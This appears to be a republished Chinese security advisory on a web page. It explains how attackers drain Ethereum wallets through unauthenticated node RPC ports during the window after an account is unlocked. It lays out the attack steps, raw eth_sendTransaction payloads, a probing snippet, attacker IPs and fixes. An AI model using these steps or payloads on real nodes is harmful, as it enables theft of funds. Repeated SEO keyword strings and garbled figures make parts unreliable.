主页 > imtoken1.0钱包下载 > 揭秘潜伏多年的以太坊“走私”漏洞

揭秘潜伏多年的以太坊“走私”漏洞

imtoken1.0钱包下载 2023-06-06 07:13:17

节点的RPC端口对外开放

节点的RPC端口可以直接调用API,不需要额外的鉴权保护(比如通过nginx的鉴权保护等)

该节点的区块高度已经同步到网络最新高度,因为需要在该节点进行转账以太坊全节点钱包,如果没有达到该高度,则无法进行转账

当用户解锁钱包时(unlockAccount函数),在解锁超时时间内,可以调用RPC API的eth_sendTransaction进行转账操作,无需输入密码。

该漏洞的关键组成部分是未经身份验证的RPC API服务和解锁帐户后一定的免密码时间的组合。 下面是解锁账户的unlockAccount函数:

代码路径:go-ethereum/internal/jsre/deps/api.go

以太坊全节点钱包_以太坊在线钱包_以太坊钱包有多大

从函数的实现代码可以看出,解锁账号的API允许传入超时时间,默认超时时间为300秒。

实际的解锁函数TimedUnlock实现如下:

代码路径:go-ethereum/accounts/keystore/keystore.go

以太坊在线钱包_以太坊钱包有多大_以太坊全节点钱包

当传入的timeout大于0时,会启动协程进行超时处理。 如果传入的timeout为0,则永远不会超时,账户会一直保持解锁状态,直到节点进程退出。

详细使用方法参考官方文档:#personal_unlockaccount

以太坊全节点钱包_以太坊钱包有多大_以太坊在线钱包

攻击方法揭晓

1. 寻找对外开放以太坊RPC端口的服务器,确认该节点已达到以太坊网络最高区块高度

黑客扫描全局端口服务,发现RPC服务为以太坊的RPC接口,调用eth_getBlockByNumber('last', false)获取最新区块高度。

但是,由于部分以太坊节点是以太坊的分叉币,高度与以太坊不同,所以即使黑客发现节点高度与以太坊不同,也不会放弃攻击。

2.调用eth_accounts获取节点上的所有账户。

对eth_accounts的请求会返回一个账户地址列表:[0x1834axxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx,0xa13jkcxxxxxxxxxxxxxxxxxxxxxxxxxxx,…]

3.调用eth_getBalance查询地址余额。

在这个过程中,黑客可以在自己的服务器上完成以太坊的余额查询,因为以太坊的区块链账本数据库是免费向公众开放的。

一些黑客没有搭建以太坊全节点,也没有自行查询余额,所以他们也会在被攻击的服务器上执行eth_getBalance操作。

4、继续调用转账操作,直到用户刚好用密码解锁钱包,完成非法转账操作的“走私”

黑客会构造eth_sendTransaction的转账操作,并填写余额和固定手续费:

{"jsonrpc":"2.0″,"id":2,"method":"eth_sendTransaction","params":[{"from":"受害者钱包地址1″,"gas":"0x55f0″," to ”:”0xdc3431d42c0bf108b44cb48bfbd2cd4d392c32d6″,”值”:”0x112345fc212345000″}]}{”jsonrpc”:”2.0″,”id”:2,”method”:”eth_sendTransaction”,”params”:[{“from”:”受害者钱包地址 2", "gas": "0x55f0", "to": "0xdc3431d42c0bf108b44cb48bfbd2cd4d392c32d6", "value": "0x112345fc212345000"}]}{"jsonrpc":"2.0", "id": 2," method” :”eth_sendTransaction”,”params”:[{“from”:”受害者的钱包地址 3″,”gas”:”0x55f0″,”to”:”0xdc3431d42c0bf108b44cb48bfbd2cd4d392c32d6″,”value”:”0x112345fc212345000″}] }

价值单位是以太币的最小单位:wei。 如果以以太计算,需要除以10的18次方:

>>> 0x112345fc212345000

19758522752314920960L

>>> 19758522752314920960L/1000000000000000000019L

黑客会持续发送转账操作,并定期监测余额变化,更新转账金额,直到用户使用钱包并输入密码解锁钱包。 这时,钱包余额会立即被转走。

以太坊全节点钱包_以太坊钱包有多大_以太坊在线钱包

快速漏洞测试

安装python的web3库,连接RPC端口,发起请求。 如果获取到返回结果,则可能存在该漏洞。

参考:

从 web3 导入 Web3、HTTPProvider、IPCProvider

web3 = Web3(HTTPProvider(':端口'))

打印 web3.eth.blockNumber

以太坊在线钱包_以太坊全节点钱包_以太坊钱包有多大

黑客解密与IOCs情报

破解钱包

目前我们掌握了3名黑客钱包的收款地址,未转账账户余额为2220万美元:

,余额为38,076 ETH(erc20 token不算),最早入账2016-2-14,最晚入账2018-3-21(目前还在进行中)

,余额为321 ETH(erc20代币不算),最早入账2016-8-10,最晚入账2017-11-28。

,余额为330 ETH(erc20代币不算),最早入账2018-2-06,最晚入账2018-3-20。

黑客攻击源IP

146.0.249.87(德国黑森州法兰克福)

162.251.61.133(加拿大)

190.2.133.114(库拉索岛)

85.14.240.84(德国北莱茵)

目前,大多数黑客使用频繁的 API 请求。 如果您看到大量user-agent为“Go-http-client/1.1”的POST请求,请记录请求内容以确认是否为恶意行为。

以太坊在线钱包_以太坊全节点钱包_以太坊钱包有多大

应急响应和维修建议

关闭对外暴露的RPC端口。 如果一定要暴露在互联网上,请使用认证:

借助防火墙等网络防护软件,阻断黑客攻击源IP

查看RPC日志和web界面日志,是否有异常大且频繁的请求,查看请求内容是否为eth_sendTransaction

·等待以太坊更新最新代码以太坊全节点钱包,使用已修复漏洞的节点程序

以太坊全节点钱包_以太坊钱包有多大_以太坊在线钱包

以太坊全节点钱包_以太坊在线钱包_以太坊钱包有多大